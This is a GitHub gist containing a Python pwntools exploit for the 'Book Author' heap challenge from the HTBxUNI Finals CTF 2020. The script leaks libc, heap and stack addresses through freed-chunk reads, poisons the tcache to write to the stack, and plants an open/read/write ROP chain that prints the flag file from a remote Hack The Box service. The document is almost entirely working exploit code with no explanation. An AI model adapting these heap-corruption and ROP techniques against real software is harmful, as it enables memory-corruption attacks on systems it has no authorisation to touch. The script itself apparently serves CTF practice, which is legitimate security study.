Skip to content

Instantly share code, notes, and snippets.

@KaoRz
Last active March 12, 2020 23:15
Show Gist options
  • Save KaoRz/68aac62a4053434779d01aef63300f71 to your computer and use it in GitHub Desktop.
Save KaoRz/68aac62a4053434779d01aef63300f71 to your computer and use it in GitHub Desktop.
Book Author exploit - HTBxUNI Finals CTF 2020
#!/usr/bin/env python3
# coding: utf-8
from pwn import *
context.terminal = ['tmux', 'sp', '-h']
#context.log_level = 'DEBUG'
HOST = "docker.hackthebox.eu"
PORT = 30692
LOCAL = False
elf = ELF("./book_author")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6", checksec = False)
def add_page(idx, size, data):
io.recvuntil("> ")
io.sendline("1")
io.recvuntil("Index: ")
io.sendline(str(idx))
io.recvuntil("Size: ")
io.sendline(str(size))
io.recvuntil("Content: ")
io.sendline(data)
def burn_page(idx):
io.recvuntil("> ")
io.sendline("2")
io.recvuntil("Index: ")
io.sendline(str(idx))
def rewrite_page(idx, data):
io.recvuntil("> ")
io.sendline("3")
io.recvuntil("Index: ")
io.sendline(str(idx))
io.recvuntil("Content: ")
io.sendline(data)
def read_page(idx):
io.recvuntil("> ")
io.sendline("4")
io.recvuntil("Index: ")
io.sendline(str(idx))
def exit_program():
io.recvuntil("> ")
io.sendline("99")
if LOCAL == True:
io = process(elf.path)
else:
io = remote(HOST, PORT)
for i in range(9):
add_page(i, 0x100, "")
for i in range(9):
burn_page(i)
for i in range(7):
add_page(i, 0x100, "")
add_page(8, 0x100, "A" * 7)
read_page(8)
io.recvuntil("\n")
libc.address = u64(io.recvuntil("\n+-", drop = True).ljust(8, b"\x00")) - 0x1e4ca0
log.success("GLIBC base address: " + hex(libc.address))
read_page(5)
io.recvuntil("\n")
heap_address = u64(b"\x50" + io.recvuntil("\n+-", drop = True).ljust(7, b"\x00"))
log.success("Leaked heap address: " + hex(heap_address))
burn_page(5)
add_page(5, 0x100, "/home/ctf/flag.txt\x00")
flag_str = heap_address + 0x120
log.info("Flag string allocated at: " + hex(flag_str))
burn_page(1)
burn_page(0)
rewrite_page(0, p64(libc.sym['environ'] - 0x10))
add_page(0, 0x100, "")
add_page(0, 0x100, "A" * (0x10 - 1))
read_page(0)
io.recvuntil("Content: " + "A" * (0x10 - 1) + "\n")
stack_address = u64(io.recvuntil("\n+--", drop = True).ljust(8, b"\x00"))
ret_main = stack_address - 0xf0
log.success("Stack base address: " + hex(stack_address))
log.info("Main return address pointer: " + hex(ret_main))
add_page(0, 0x300, "")
add_page(1, 0x300, "")
burn_page(1)
burn_page(0)
rewrite_page(0, p64(ret_main))
add_page(0, 0x300, "")
rop = b""
rop += p64(libc.address + 0x0000000000047cf8) # 0x0000000000047cf8 : pop rax ; ret
rop += p64(0x2)
rop += p64(libc.address + 0x0000000000026542) # 0x0000000000026542 : pop rdi ; ret
rop += p64(flag_str)
rop += p64(libc.address + 0x0000000000026f9e) # 0x0000000000026f9e : pop rsi ; ret
rop += p64(0x0)
rop += p64(libc.address + 0x000000000012bda6) # 0x000000000012bda6 : pop rdx ; ret
rop += p64(0x0)
rop += p64(libc.address + 0x10cf7f) # Weird syscall
rop += p64(libc.address + 0x0000000000047cf8) # 0x0000000000047cf8 : pop rax ; ret
rop += p64(0x0)
rop += p64(libc.address + 0x0000000000026542) # 0x0000000000026542 : pop rdi ; ret
rop += p64(0x3)
rop += p64(libc.address + 0x0000000000026f9e) # 0x0000000000026f9e : pop rsi ; ret
rop += p64(heap_address)
rop += p64(libc.address + 0x000000000012bda6) # 0x000000000012bda6 : pop rdx ; ret
rop += p64(0x30)
rop += p64(libc.address + 0x10cf7f) # Weird syscall
rop += p64(libc.address + 0x0000000000026542) # 0x0000000000026542 : pop rdi ; ret
rop += p64(0x1)
rop += p64(libc.address + 0x0000000000026f9e) # 0x0000000000026f9e : pop rsi ; ret
rop += p64(heap_address)
rop += p64(libc.address + 0x000000000012bda6) # 0x000000000012bda6 : pop rdx ; ret
rop += p64(0x30)
rop += p64(libc.sym['write'])
rop += p64(libc.sym['exit'])
add_page(0, 0x300, rop)
exit_program()
flag = io.recvuntil("}")
log.success("FLAG --> " + str(flag))
io.close()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment